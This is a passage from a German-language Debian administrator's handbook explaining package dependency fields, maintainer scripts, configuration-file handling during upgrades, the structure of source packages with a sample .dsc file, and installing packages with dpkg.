dpkg wird sich weigern, ein Paket zu installieren, falls es einen Konflikt mit einem bereits installierten Paket auslöst, es sei denn das neue Paket gibt an, dass es die installierten Pakete „ersetzen“ wird. In diesem Fall wird sich dpkg dafür entscheiden, das alte Paket durch das neue zu ersetzen. apt-get folgt immer Ihren Anweisungen: wenn Sie es vorziehen ein neues Paket zu installieren, wird es automatisch anbieten das Paket, das ein Problem darstellt, zu deinstallieren.

5.2.1.3. Inkompatibilitäten: die Breaks-Zeilen

Die Breaks-Zeilen haben einen ähnlichen Effekt wie die Conflicts-Zeilen, jedoch mit einer besonderen Bedeutung. Sie deutet darauf hin, dass die Installation eines Paketes ein anderes Paket (oder bestimmte Versionen davon) „brechen“ wird. Normalerweise ist die Inkompatibilität zwischen zwei Paketen vorübergehend, und die Breaks-Beziehung bezieht sich auf die inkompatiblen Versionen.

dpkg wird sich weigern, ein Paket zu installieren das ein bereits installiertes Paket beschädigen würde, und apt-get wird versuchen das Problem dadurch zu lösen, dass es das Paket das beschädigt würde auf eine neuere Version zu aktualisieren (von der angenommen wird, dass sie korrigiert und damit wieder kompatibel ist).

Diese Situation kann bei Aktualisierungen ohne rückwärtige Kompatibilität auftreten: dies ist der Fall, wenn eine neue Version nicht mehr zusammen mit der älteren Version funktioniert und eine Fehlfunktion in einem anderen Programm verursacht ohne dass dafür besondere Vorkehrungen getroffen worden sind. Die Breaks-Zeilen verhindern, dass der Nutzer in diese Schwierigkeiten gerät.

5.2.1.4. Bereitgestellte Elemente: die Provides-Zeilen

Diese Zeile führt das sehr interessante Konzept eines „virtuellen Pakets“ ein. Sie hat viele Aufgaben, aber zwei sind von besonderer Bedeutung. Die erste Aufgabe besteht darin, ein virtuelles Paket dazu zu benutzen, ihm einen allgemeinen Dienst zuzuordnen (das Paket „stellt“ den Dienst „bereit“). Die zweite zeigt an, dass ein Paket ein anderes vollständig ersetzt, und dass es daher auch die Abhängigkeiten erfüllen kann, die das andere erfüllen würde. Auf diese Weise kann ein Ersatzpaket erstellt werden, ohne denselben Paketnamen verwenden zu müssen.

WÖRTERVERZEICHNIS Meta-Pakete und virtuelle Pakete

Es ist unerlässlich, zwischen Meta-Paketen und virtuellen Paketen zu unterscheiden. Erstere sind wirkliche Pakete (einschließlich wirklicher .deb-Dateien), deren einziger Zweck darin besteht, Abhängigkeiten aufzuzeigen.

Dagegen existieren virtuelle Pakete nicht wirklich; sie dienen lediglich dazu, wirkliche Pakete auf der Basis gemeinsamer, logischer Kriterien (des bereitgestellten Dienstes, der Kompatibilität mit einem Standardprogramm oder einem schon vorher bestehenden Paket usw.) zu identifizieren.

5.2.1.4.1. Einen „Dienst“ bereitstellen

Lassen Sie uns den ersten Fall anhand eines Beispiels ausführlicher erörtern: alle Mailserver, wie postfix oder sendmail, „stellen“ angeblich das virtuelle Paket mail-transport-agent „bereit“. Daher erklärt jedes Paket, das diesen Service benötigt, um funktionsfähig zu sein (z. B. Mailinglisten-Manager wie smartlist oder sympa), in seinen Abhängigkeiten einfach, dass es einen mail-transport-agent benötigt, anstatt eine lange, jedoch unvollständige Liste möglicher Lösungen aufzustellen (z. B. postfix | sendmail | exim | …). Außerdem wäre es sinnlos, zwei Mailserver auf demselben Rechner zu installieren, weshalb jedes dieser Pakete einen Konflikt mit dem virtuellen Paket mail-transport-agent angibt. Der Konflikt mit sich selbst wird vom System ignoriert, jedoch verhindert dieses Verfahren. dass zwei Mailserver nebeneinander installiert werden.

DEBIAN-RICHTLINIEN Liste virtueller Pakete

Damit virtuelle Pakete brauchbar sind, müssen alle sich über ihre Namen einig sein. Daher sind diese in den Debian-Richtlinien standardisiert. Die Liste enthält unter anderem mail-transport-agent für Mailserver, c-compiler für Kompilierer der Programmiersprache C, www-browser für Webbrowser, httpd für Webserver, ftp-server für FTP-Server, x-terminal-emulator für Terminal-Emulatoren im Grafikmodus (xterm) und x-window-manager für Fenstermanager.

Die vollständige Liste ist im Internet unter der URL

→ http://www.debian.org/doc/packaging-manuals/virtual-package-names-list.txt

zu sehen.

5.2.1.4.2. Austauschbarkeit mit einem anderen Paket

Die Provides-Zeile ist dagegen von Interesse, wenn der Inhalt eines Pakets in einem größeren Paket enthalten ist. So war zum Beispiel das Perl-Modul libdigest-md5-perl ein optionales Modul in Perl 5.6 und ist als Standard in Perl 5.8 (und späteren Versionen wie der aktuellen Version 5.10 in Squeeze) integriert worden. Daher gibt das Paket perl seit der Version 5.8 Provides: libdigest-md5-perl an, so dass die Abhängigkeiten dieses Pakets erfüllt sind, falls der Nutzer Perl 5.8 oder 5.10 hat. Das Paket libdigest-md5-perl selbst ist irgendwann gelöscht worden, da es keinen weiteren Nutzen mehr hatte, nachdem alte Perl-Versionen entfernt worden waren.

Figure 5.1. Verwendung einer Provides-Zeile zur Vermeidung des Brechens von Abhängigkeiten

Dieses Merkmal ist sehr nützlich, da es nie möglich ist, die Wechselfälle der Entwicklung vorherzusehen, und es erforderlich ist, sich auf die Umbenennung oder einen anderen automatischen Ersatz einer veralteten Software einzustellen.

ZURÜCK ZU DEN GRUNDLAGEN Perl, eine Programmiersprache

Perl (Practical Extraction and Report Language) ist eine sehr populäre Programmiersprache. Sie hat zahlreiche gebrauchsfertige Module, die ein weites Spektrum von Anwendungen abdecken und die durch die Server des CPAN (Comprehensive Perl Archive Network) verteilt werden, ein vollständiges Netzwerk von Perl-Paketen.

→ http://www.perl.org/

→ http://www.cpan.org/

Da es eine interpretierte Sprache ist, brauchen in Perl geschriebene Programme vor ihrer Ausführung nicht kompiliert zu werden. Daher werden sie „Perl-Skripte“ genannt.

5.2.1.4.3. Gegenwärtige Einschränkungen

Virtuelle Pakete leiden an einigen störenden Einschränkungen, von denen die wichtigste das Fehlen einer Versionsnummer ist. Um zum vorhergehenden Beispiel zurückzukehren: eine Abhängigkeit wie Depends: libdigest-md5-perl (>= 1.6) wird trotz der Anwesenheit von Perl 5.10 von der Paketverwaltung niemals als erfüllt angesehen werden - obwohl sie in Wirklichkeit höchstwahrscheinlich erfüllt ist. In Unkenntnis dieser Tatsache wählt die Paketverwaltung die risikoärmste Option und geht davon aus, dass die Versionen nicht übereinstimmen.

WEITERE SCHRITTE Virtuelle Paketversionen

Obwohl virtuelle Pakete bisher keine Versionen haben können, muss dies nicht immer so bleiben. apt ist in der Tat bereits in der Lage, mit Versionen virtueller Pakete umzugehen und das wird bei dpkg eines Tages auch so sein. Wir werden dann Zeilen wie Provides: libstorable-perl (= 1.7) schreiben können um anzuzeigen, dass ein Paket dieselbe Funktionalität wie libstorable-perl in seiner Version 1.7 bereitstellt.

5.2.1.5. Dateien ersetzen: Die Replaces-Zeile

Die Replaces-Zeile zeigt an, dass das Paket Dateien enthält, die auch in einem anderen Paket vorhanden sind, dass aber das Paket offiziell berechtigt ist, sie zu ersetzen. Ohne diese Angabe würde dpkg scheitern und erklären, dass es die Dateien eines anderen Pakets nicht überschreiben kann (allerdings kann es durch die Option --force-overwrite dazu gezwungen werden). Hierdurch ist es möglich, eventuelle Probleme zu identifizieren, und der Betreuer muss die Angelegenheit untersuchen, bevor er entscheidet, ob er solch eine Zeile einfügt.

Die Verwendung dieser Zeile ist gerechtfertigt, wenn sich Paketnamen ändern oder wenn ein Paket in einem anderen enthalten ist. Dies kommt auch vor, wenn der Betreuer sich entschließt, Dateien in unterschiedlicher Weise auf mehrere Binärpakete zu verteilen, die vom selben Quellpaket erstellt werden: eine ersetzte Datei ist nicht mehr Teil des alten Pakets, sondern nur noch des neuen.

Sobald alle Dateien eines installierten Pakets ersetzt wurden, gilt das Paket als entfernt. Ausserdem veranlasst dieses Feld dpkg, das ersetzte Paket zu entfernen, wenn ein Konflikt auftritt.

WEITERE SCHRITTE Die Tag-Zeile

In obenstehendem apt-Beispiel sehen wir eine Zeile, die wir noch nicht erläutert haben: die Tag-Zeile. Diese Zeile beschreibt keine Beziehung zwischen Paketen, sondern ist eine einfache Möglichkeit, ein Paket in einer thematischen Taxonomie zu kategorisieren. Diese Einordnung von Paketen aufgrund verschiedener Kriterien (Art der Schnittstelle, Programmiersprache, Verwendungsbereich usw.) ist eine neuere Entwicklung in Debian. Für diesen Zweck ist es noch nicht in allen Hilfsprogrammen integriert; aptitude zeigt diese Kennzeichnungen an und erlaubt es, sie als Suchkriterien zu verwenden. Für diejenigen, denen aptitudes Suchkriterien nicht gefallen, ermöglicht folgende Seite das Durchsuchen der Kennzeichen-Datenbank:

→ http://debtags.alioth.debian.org/

5.2.2. Konfigurationsskripte

Zusätzlich zur control-Datei kann das control.tar.gz-Archiv jeden Debian-Pakets eine Anzahl von Skripten enthalten, die von dpkg in verschiedenen Phasen der Paketverarbeitung aufgerufen werden. Die Debian-Richtlinien beschreiben ausführlich die möglichen Fälle mit Benennung der aufgerufenen Skripte und der Parameter, die sie entgegennehmen. Diese Abläufe können kompliziert sein, da dpkg im Falle des Scheiterns eines Skripts versucht, zu einem zufriedenstellenden Zustand zurückzukehren, indem es die Installation oder die gerade stattfindende Entfernung (insofern möglich) abbricht.

WEITERE SCHRITTE dpkg-Datenverzeichnis

Alle Konfigurationsskripte für installierte Pakete sind im Verzeichnis /var/lib/dpkg/info/ in Form einer Datei gespeichert, der der Dateiname des Pakets vorangestellt ist. In diesem Verzeichnis befindet sich für jedes Paket auch eine Datei mit der Erweiterung .list, die eine Liste der zu dem jeweiligen Paket gehörenden Dateien enthält.

Die Datei /var/lib/dpkg/status enthält eine Reihe von Datenblöcken (im Format der bekannten Mail-Kopfzeilen, RFC 2822), die den Status jedes Pakets beschreiben. Die Information aus der control-Datei der installierten Pakete ist hier ebenfalls wiedergegeben.

Im Allgemeinen wird das Skript preinst vor der Installation eines Pakets ausgeführt, postinst danach. In gleicher Weise wird prerm vor dem Entfernen eines Pakets aufgerufen und postrm danach. Die Aktualisierung eines Pakets ist gleichbedeutend mit dem Entfernen der vorhergehenden Version und einer Installation der neuen. Alle möglichen Szenarien können hier nicht ausführlich beschrieben werden, aber wir werden die zwei häufigsten erörtern: eine Installation/Aktualisierung und ein Entfernen.

VORSICHT Symbolische Skriptnamen

Die in diesem Abschnitt beschriebenen Schritte bezeichnen Konfigurationsskripte mit spezifischen Namen wie old-prerm oder new-postinst. Dies sind zum einen das in der alten Version des Pakets enthaltene Skript prerm (das vor der Aktualisierung installiert worden war) und zum anderen das in der neuen Version enthaltene Skript postinst (das durch die Aktualisierung installiert wird).

TIP Zustandsdiagramme

Manoj Srivastava hat diese Diagramme erstellt, die erklären, wie die Konfigurationsskripte von dpkg aufgerufen werden. Ähnliche Diagramme wurden auch vom Projekt „Debian Women“ entwickelt; sie sind etwas einfacher zu verstehen, aber weniger vollständig.

→ http://people.debian.org/~srivasta/MaintainerScripts.html

→ http://wiki.debian.org/MaintainerScripts

5.2.2.1. Installation und Aktualisierung

Folgendes geschieht während einer Installation (oder einer Aktualisierung):

Für eine Aktualisierung ruft dpkg das Skript old-prerm upgrade neue-version auf.

Ebenfalls für eine Aktualisierung führt dpkg dann new-preinst upgradealte-version aus; bei einer erstmaligen Installation führt es stattdessen new-preinst install aus. Möglicherweise fügt es im letzten Parameter die alte Version hinzu, falls das Paket früher schon einmal installiert war und seither entfernt wurde (aber nicht vollständig gelöscht, da die Konfigurationsdateien noch zurückbehalten wurden).

Die neuen Paketdateien werden dann entpackt. Falls eine Datei bereits vorhanden ist, wird sie ersetzt, wobei aber vorübergehend eine Sicherheitskopie erstellt wird.

Für eine Aktualisierung führt dpkg das Skript old-postrm upgrade neue-version aus.

dpkg aktualisiert alle internen Daten (Dateiliste, Konfigurationsskripte usw.) und entfernt die Sicherheitskopien der ersetzten Dateien. Dies ist der Punkt, an dem es kein Zurück mehr gibt: dpkg hat keinen Zugang zu all den Elementen mehr, die für eine Rückkehr zum vorherigen Zustand erforderlich wären.

dpkg aktualisiert dann die Konfigurationsdateien, wobei es den Nutzer auffordert, Entscheidungen zu treffen, falls es diese Aufgabe nicht selbsttätig erledigen kann. Die Einzelheiten dieses Vorgangs sind in Section 5.2.3, “Checksummen, Liste der Konfigurationsdateien” erläutert.

Schließlich konfiguriert dpkg das Paket, indem es new-postinst configure vorherige-konfigurierte-version ausführt.

5.2.2.2. Paketentfernung

Folgendes geschieht, wenn ein Paket entfernt wird:

dpkg ruft prerm remove auf.

dpkg entfernt alle Dateien des Pakets bis auf die Konfigurationsdateien und die Konfigurationsskripte.

dpkg führt postrm remove aus. Hierdurch werden alle Konfigurationsskripte bis auf postrm entfernt. Falls der Nutzer nicht die Option „purge“ benutzt hat, ist der Vorgang hiermit abgeschlossen.

Bei einer vollständigen Entfernung des Paketes (durch den Befehl dpkg --purge oder dpkg -P) werden sowohl die Konfigurationsdateien entfernt, als auch eine Anzahl von Kopien (*.dpkg-tmp, *.dpkg-old, *.dpkg-new) und temporären Dateien; dpkg führt dann abschließend postrm purge aus.

WÖRTERVERZEICHNIS „Purge“, vollständiges Entfernen

Wenn ein Debian-Paket entfernt wird, bleiben die Konfigurationsdateien erhalten, um eine mögliche Re-Installation zu erleichtern. In gleicher Weise bleiben die von einem Hintergrundprogramm erzeugten Daten (wie der Inhalt eines LDAP-Server-Verzeichnisses oder der Inhalt einer SQL-Server-Datenbank) normalerweise erhalten.

Um alle mit einem Paket in Verbindung stehenden Daten zu entfernen, muss das Paket mit dem Befehl dpkg -P paket, apt-get remove --purge paket oder aptitude purge paket gelöscht werden.

Angesichts der Unwiderruflichkeit einer derartigen Datenlöschung sollte „purge“ nicht unbedacht verwendet werden.

Die vier im folgenden beschriebenen Skripte werden durch ein config-Skript ergänzt, das von Paketen bereitgestellt wird, die debconf verwenden, um vom Nutzer Informationen für die Konfigurierung zu bekommen. Während der Installation bestimmt dieses Skript im Einzelnen die Fragen, die von debconf gestellt werden. Die Antworten werden zur späteren Verwendung in der debconf-Datenbank aufgezeichnet. Das Skript wird von apt normalerweise ausgeführt, bevor es ein Paket nach dem anderen installiert, um so alle Fragen zu gliedern und sie dem Nutzer vollständig zu Beginn des Vorgangs zu stellen. Die Vor- und Nachinstallationsskripte können dann diese Information verwenden, um den Wünschen des Nutzers entsprechend zu agieren.

HILFSPROGRAMM debconf

debconf wurde entwickelt, um ein in Debian immer wiederkehrendes Problem zu lösen. Alle Debian-Pakete, die ohne eine wenigstens minimale Konfiguration nicht funktionieren konnten, stellten gewöhnlich Fragen, indem sie die Befehle echo und read in Shell-Skripten wie postinst oder ähnlichen aufriefen. Dies bedeutete jedoch, dass der Nutzer während einer umfangreichen Installation oder Aktualisierung beim Rechner bleiben musste, um diverse Fragen, die sich jederzeit ergeben konnten, zu beantworten. Auf dieses manuelle Zusammenwirken kann inzwischen dank debconf fast vollständig verzichtet werden.

debconf hat zahlreiche interessante Merkmale: es verlangt vom Entwickler, Interaktionen mit dem Nutzer festzulegen; es erlaubt die Lokalisierung der Eingabe verschiedener Zeichenfolgen (alle Übersetzungen der Interaktionsbezeichnungen sind in der Template-Datei gespeichert); es verfügt über verschiedene Anzeigearten zur Darstellung der Fragen an den Nutzer (Textmodus, Grafikmodus, nicht interaktiv); und es ermöglicht die Erstellung einer zentralen Datenbank von Antworten, um so dieselbe Konfiguration mit verschiedenen Rechnern zu teilen... aber das Wichtigste ist, dass es jetzt möglich ist, dem Nutzer vor Beginn einer langen Installation oder Aktualisierung alle Fragen in einem Block zu stellen. Der Nutzer kann dann andere Aufgaben erledigen, während das System die Installation selbstständig erledigt, und er braucht nicht mehr vor Ort zu bleiben und in Erwartung möglicher Fragen auf den Bildschirm zu starren.

5.2.3. Checksummen, Liste der Konfigurationsdateien

Zusätzlich zu den in den vorherigen Kapiteln genannten Konfigurationsdateien enthält die control.tar.gz-Datei eines Debian-Pakets weitere. Die erste, md5sums, enthält eine Liste der digitalen Fingerabdrücke aller Dateien des Pakets. Ihr Hauptvorteil besteht darin, dass sie es einem Programm wie debsums (auf das wir in Section 14.3.3.1, “Pakete auditieren: debsums und seine Grenzen” noch näher eingehen werden) ermöglicht zu überprüfen, ob diese Dateien seit ihrer Installierung verändert worden sind.

conffiles führt Paketdateien auf, die als Konfigurationsdateien behandelt werden müssen. Dies geht mit einer besonderen Handhabung einher, da Konfigurationsdateien durch den Administrator angepasst werden können, und da diese Anpassungen bei einer Paketaktualisierung normalerweise erhalten bleiben.

Im Ergebnis verhält sich dpkg in dieser Situation möglichst intelligent: falls die Standard-Konfigurationsdatei zwischen zwei Versionen nicht verändert worden ist, tut es gar nichts. Falls die Datei jedoch verändert wurde, wird es versuchen, sie zu aktualisieren. Zwei Fälle sind möglich: entweder hat der Administrator diese Konfigurationsdatei nicht angerührt, dann installiert dpkg automatisch die neue Version; oder die Datei ist verändert worden, dann fragt dpkg den Administrator, welche Version er verwenden möchte (die alte mit den Veränderungen oder die neue, die mit dem Paket bereitgestellt wird). Um diese Entscheidung zu erleichtern, bietet dpkg an, ein „diff“ anzuzeigen, das die Unterschiede zwischen den beiden Versionen aufführt. Falls der Nutzer sich entscheidet, die alte Version zu behalten, wird die neue am selben Ort in einer Datei mit dem Zusatz .dpkg-old abgespeichert. Eine weitere mögliche Maßnahme besteht darin, dpkg vorübergehend anzuhalten und dann die Datei zu editieren, und dabei zu versuchen, die relevanten Veränderungen (die zuvor durch diff identifiziert worden sind) wieder einzusetzen.

WEITERE SCHRITTE Die Fragen zur Konfigurationsdatei vermeiden

dpkg erledigt die Aktualisierung von Konfigurationsdateien, unterbricht aber regelmäßig diese Aktionen, um den Administrator um Eingaben zu bitten. Dies ist für diejenigen, die Aktualisierungen in einer nicht-interaktiven Weise ablaufen lassen möchten, weniger erfreulich. Daher bietet dieses Programm auch Optionen an, die es dem System ermöglichen, selbstständig in Übereinstimmung mit der gleichen Logik zu verfahren: --force-confold behält die alte Dateiversion; --force-confnew verwendet die neue (diese Auswahlmöglichkeiten werden selbst dann eingehalten, wenn die Datei nicht vom Administrator verändert wurde, was selten den gewünschten Effekt hat). Durch Hinzufügen der Option --force-confdef wird dpkg mitgeteilt, dass es die Standardoption verwenden soll, wenn eine Auswahl angeboten wird (anders ausgedrückt, wenn die ursprüngliche Konfigurationsdatei nicht angerührt worden ist), und dass es die Optionen --force-confnew oder --force-confold nur in den anderen Fällen verwenden soll.

Diese Optionen gelten für dpkg, aber meistens wird der Administrator direkt mit den Programmen aptitude oder apt-get arbeiten. Es ist daher erforderlich, die Syntax zu kennen, die zur Bezeichnung der Optionen verwendet wird, die an dpkg weitergeleitet werden (ihre Befehlszeilen-Schnittstellen sind sehr ähnlich).

# apt-get -o DPkg::Options::="--force-confdef" -o DPkg::options::="--force-confold" dist-upgrade

Diese Optionen können direkt in der Konfiguration des apt-Programms gespeichert werden, statt sie jedesmal auf der Befehlszeile anzugeben. Hierzu schreiben Sie einfach die folgende Zeile in die Datei /etc/apt/apt.conf.d/local:

DPkg::Options { "--force-confdef"; "--force-confold"; }

Die Aufnahme dieser Option in die Konfigurationsdatei ermöglicht es, sie auch in einer grafischen Schnittstelle wie aptitude zu verwenden.

WEITERE SCHRITTE Zwinge dpkg, Fragen zur Konfigurationsdatei zu stellen

Die Option --force-confask zwingt dpkg dazu, die Fragen zu den Konfigurationsdateien selbst in den Fällen anzuzeigen, in denen sie normalerweise nicht notwendig wären. So wird dpkg bei der Re-Installation eines Pakets mit dieser Option erneut die Fragen zu allen Konfigurationsdateien stellen, die vom Administrator verändert worden sind. Dies ist vor allem sehr praktisch für das erneute Installieren der ursprünglichen Konfigurationsdatei, falls sie gelöscht worden ist oder keine andere Kopie verfügbar ist: eine normale Re-Installation würde nicht funktionieren, weil dpkg das Entfernen als eine zulässige Form der Veränderung ansieht und daher die gewünschte Konfigurationsdatei nicht installiert.

5.3. Struktur eines Quellpakets

5.3.1. Format

Ein Quellpaket besteht normalerweise aus drei Dateien, einer .dsc, einer .orig.tar.gz und einer .debian.tar.gz oder .diff.gz. Sie ermöglichen es, aus ihrem Quellcode, der in einer Programmiersprache geschrieben ist, Binärpakete für das oder die Programm(e) zu erstellen (.deb-Dateien, wie oben beschrieben).

Die Datei .dsc (Debian Source Control) ist eine kurze Textdatei, die einen RFC 2822 Header enthält (genau wie die in Section 5.2.1, “Beschreibung: Die control-Datei” betrachtete control-Datei), der das Quellpaket beschreibt und angibt, welche anderen Dateien dazugehören. Sie ist von ihrem Betreuer signiert, wodurch Authentizität gewährleistet ist. Siehe Section 6.5, “Die Echtheit eines Paketes prüfen” für weitere Einzelheiten zu diesem Thema.

Example 5.1. Eine .dsc-Datei

-----BEGIN PGP SIGNED MESSAGE----- Hash: SHA256 Format: 3.0 (quilt) Source: zim Binary: zim Architecture: all Version: 0.48-1 Maintainer: Emfox Zhou <emfox@debian.org> Uploaders: Raphaël Hertzog <hertzog@debian.org> Homepage: http://zim-wiki.org Standards-Version: 3.9.0 Vcs-Browser: http://svn.debian.org/wsvn/collab-maint/deb-maint/zim/trunk?op=log Vcs-Svn: svn://svn.debian.org/collab-maint/deb-maint/zim/trunk Build-Depends: debhelper (>= 7.4.12), python-support (>= 0.8), xdg-utils, python (>= 2.5), libgtk2.0-0 (>= 2.6), python-gtk2, python-xdg, python-simplejson | python (>= 2.6) Checksums-Sha1: bd84fa5104de5ed85a49723d26b350856de93217 966899 zim_0.48.orig.tar.gz 352111ff372a20579664416c9abd4970839835b3 9615 zim_0.48-1.debian.tar.gz Checksums-Sha256: 77d8df7dc89b233fdc3aab1a8ad959c6888881ae160770f50bf880a56e02f895 966899 zim_0.48.orig.tar.gz 0fceab5d3b099075cd38c225fa4002d893c1cdf4bbcc51d1391a34248e1e1a22 9615 zim_0.48-1.debian.tar.gz Files: 88cfc18c0c7339528d5f5f463647bb5f 966899 zim_0.48.orig.tar.gz 608b6e74aa14252dfc6236ab184bdb0c 9615 zim_0.48-1.debian.tar.gz -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.4.10 (GNU/Linux) Comment: Signed by Raphael Hertzog iQEcBAEBCAAGBQJMSUAfAAoJEAOIHavrwpq5qjUIAKmM8p86GcHYTxMmKENoBUoW UPi5R7DzrLMbFrUXKgXWLvEKQTXpmkJhh2aSWq2iY+5piBSHwMiITfaBTpdTRvzU 5nT/n9MlF8sJFESet/NgZaMPFDzWUbIy5aYbuG1TXmn/7XiDrBaQGiVqKkVLPrqc yWhsotn3JNKIjbPDW/DjImYyKD5RZpXrbVjuIgDT1E6yxtNYwUyBlK0cx/GITNep uV48hsT8cj0paqVXl5+P9Ww8XIE3clxNpE/45/tvKvkqGOeysc6OPAqsIw6HYFY9 0EnvMTfMpeQOA68ZqsNpUjomv5r/EGwdCbAWo5iJDsZzXQ1Feh6iSNrjv3yeRzg= =qnbh -----END PGP SIGNATURE-----

Beachten Sie, dass das Quellpaket ebenfalls Abhängigkeiten (Build-Depends) hat, die jedoch mit denen der Binärpakete nichts gemein haben, da sie die Programme benennen, die erforderlich sind, um die betreffende Software zu kompilieren und sein Binärpaket zu erstellen.

VORSICHT Unterschiedliche Namensräume

Es ist hier wichtig festzustellen, dass es keine enge Beziehung zwischen dem Namen eines Quellpakets und der daraus erstellten Binärpakete gibt. Dies ist leicht einzusehen, wenn man weiß, dass jedes Quellpaket verschiedene Binärpakete erzeugen kann. Daher hat die .dsc-Datei Zeilen für Source und Binary, um so ausdrücklich das Quellpaket zu nennen und eine Liste von Binärpaketen zu speichern, die es erzeugt.

KULTUR Warum in mehrere Pakete aufteilen

Nicht selten kann ein Quellpaket (für eine bestimmte Gruppe von Programmen) verschiedene Binärpakete erzeugen. Die Gründe sind manningfach: häufig kann ein Programm in unterschiedlichen Zusammenhängen verwendet werden. Dann kann eine gemeinsame Bibliothek installiert werden, um eine Anwendung zum Laufen zu bringen (zum Beispiel libc6). Oder es wird installiert, um ein neues Programm zu entwickeln (dann wäre libc6-dev das richtige Paket). Wir finden den gleichen Gedankengang bei Client/Server-Diensten, bei denen wir den Serverteil auf einem Rechner installieren möchten und den Clientteil auf anderen (dies ist zum Beispiel bei openssh-server und openssh-client der Fall).

Genauso oft wird die Dokumentation in einem speziell dafür vorgesehenen Paket bereitgestellt: der Nutzer kann es unabhängig von der Software installieren und sich jederzeit dazu entschließen, es zu entfernen, um Speicherplatz zu sparen. Darüberhinaus spart dies auch Speicherplatz auf den Debian Spiegelservern, da alle Dokumentationspakete von allen Architekturen gemeinsam benutzt werden (anstatt die Dokumentation mehrfach in den Paketen jeder Architektur zu haben).

AUSBLICK Verschiedene Quellpaket-Formate

Ursprünglich gab es nur ein Quellpaket-Format. Dies ist das 1.0-Format, das ein .orig.tar.gz-Archiv einem .diff.gz-„Debianisierungspatch“ zuordnet (es gibt auch eine Variante, die aus einem einzeln .tar.gz-Archiv besteht, das automatisch verwendet wird, wenn kein .orig.tar.gz verfügbar ist).

Seit Debian Squeeze haben Debianentwickler die Möglichkeit, neue Formate zu verwenden, die zahlreiche Probleme des früheren Formats beheben. Format 3.0 (quilt) kann mehrere Ursprungsarchive in einem Quellpaket vereinen: zusätzlich zu den üblichen .orig.tar.gz-Archiven ergänzende .orig-komponente.tar.gz-Archive. Dies ist bei Software hilfreich, die in Form verschiedener Ursprungskomponenten veröffentlicht wird, für die aber ein einzelnes Quellpaket erwünscht ist. Diese Archive können auch mit bzip2 komprimiert werden statt mit gzip (lzma und xz werden von dpkg-source unterstützt, aber werden nicht für die offiziellen Archive akzeptiert), wodurch Speicherplatz und Netzwerkressourcen gespart werden. Schließlich wurde der monolithische Patch .diff.gz durch ein .debian.tar.gz-Archiv ersetzt, das die Kompilierungsanweisungen enthält und einen Satz von Ursprungspatches, die vom Paketbetreuer beigesteuert wurden. Letztere sind in einem Format aufgezeichnet, das mit quilt kompatibel ist, einem Programm, das die Verwaltung einer Reihe von Patches erleichtert.

.orig.tar.gz ist ein Archiv, das den Programm-Quellcode enthält, wie er vom ursprünglichen Entwickler bereitgestellt wurde. Entwickler sind gebeten, dieses Archiv nicht zu verändern, damit es möglich ist, den Ursprung und die Integrität der Datei (durch einen einfachen Vergleich mit einer Prüfsumme) zu kontrollieren, und um die Wünsche mancher Autoren zu berücksichtigen.

Das .debian.tar.gz-Archiv enthält alle vom Debian-Betreuer vorgenommenen Veränderungen, insbesondere auch ein ergänzendes debian-Verzeichnis, das Ausführungsanweisungen für die Erstellung eines Debian-Paketes enthält.

HILFSPROGRAMM Ein Quellpaket entpacken

Falls Sie ein Quellpaket haben, können Sie dpkg-source (aus dem dpkg-dev-Paket) benutzen, um es zu entpacken:

$ dpkg-source -x package_0.7-1.dsc

Sie können auch apt-get dazu benutzen, ein Quellpaket herunterzuladen und direkt zu entpacken. Hierzu ist es jedoch erforderlich, dass die entsprechenden deb-src-Zeilen in der Datei /etc/apt/sources.list vorhanden sind (für weitere Einzelheiten siehe Section 6.1, “Befüllen der sources.list Datei”). Diese dienen dazu, die „Quellen“ der Quellpakete aufzulisten (das heißt, die Server, die eine Gruppe von Quellpaketen beherbergen).

$ apt-get source package

5.3.2. Verwendung innerhalb von Debian

Das Quellpaket ist die Grundlage für alles in Debian. Alle Debian-Pakete entstammen einem Quellpaket, und jede Veränderung in einem Debian-Paket ist die Folge einer Veränderung in einem Quellpaket. Die Debian-Betreuer arbeiten mit dem Quellpaket, kennen jedoch die Auswirkungen ihrer Handlungen auf die Binärpakete. Die Früchte ihrer Arbeit sind daher in den von Debian bereitgestellten Quellpaketen zu finden: Sie können problemlos zurückgehen und alles verfolgen.

Wenn eine neue Version eines Pakets (Quellpaket und ein oder mehrere Binärpakete) beim Debian-Server eintrifft, ist das Quellpaket das wichtigste. Es wird dann nämlich von einem Netzwerk aus Rechnern verschiedener Architekturen benutzt, um Kompilierungen für die verschiedenen von Debian unterstützten Architekturen zu erstellen. Die Tatsache, dass der Entwickler auch ein oder mehrere Binärpakete für eine bestimmte Architektur mitschickt (gewöhnlich i386 oder amd64), ist relativ unwichtig, da diese genauso gut automatisch erzeugt worden sein könnten.

5.4. Pakete mit dpkg handhaben

dpkg ist der Grundbefehl zum Umgang mit Debian-Paketen auf dem System. Falls Sie .deb-Pakete haben, ermöglicht dpkg es Ihnen, sie zu installieren oder ihren Inhalt zu analysieren. Aber dieses Programm sieht nur einen begrenzten Ausschnitt des Debian-Universums: es weiß, was auf dem System installiert ist und was auch immer in der Befehlszeile eingegeben wird, aber es weiß nichts von den anderen verfügbaren Paketen. Daher wird es scheitern, wenn eine Abhängigkeit nicht erfüllt ist. Im Gegensatz hierzu werden Programme wie apt-get eine Liste von Abhängigkeiten erstellen, die soweit wie möglich automatisch installiert werden müssen.

ANMERKUNG dpkg oder apt-get?

dpkg sollte als ein Systemprogramm (backend) angesehen werden und apt-get als ein Programm, das dem Nutzer näher steht und die zuvor erwähnten Einschränkungen überwindet. Diese Programme arbeiten zusammen, jedes mit seinen Besonderheiten und seiner Eignung für bestimmte Aufgaben.

5.4.1. Pakete installieren

dpkg ist vor allem ein Programm zur Installation eines bereits vorhandenen Debian-Pakets (da es nichts herunterlädt). Hierzu verwenden wir seine Option -i oder --install.

Example 5.2. Installation eines Pakets mit dpkg

# dpkg -i man-db_2.5.7-4_i386.deb (Reading database... 284247 files and directories currently installed.) Preparing replacement man-db 2.5.7-3 (using .../man-db_2.5.7-4_i386.deb) ... Unpacking the man-db update... Configuring man-db (2.5.7-4) ... Updating database of manual pages ... Processing triggers for “doc-base”... Processing 1 modified documentation file(s) Recording documents with scrollkeeper ...

Wir können die verschiedenen von dpkg durchgeführten Schritte sehen; so wissen wir, an welchem Punkt möglicherweise ein Fehler aufgetreten ist. Die Installation kann in zwei Phasen betroffen sein: erstens beim Entpacken und zweitens bei der Konfigurierung. apt-get nutzt dies, um die Anzahl der Aufrufe von dpkg zu begrenzen (weil jeder Aufruf aufwendig ist, da jedes Mal die Datenbank in den Speicher geladen werden muss, vor allem die Liste der bereits installierten Dateien).

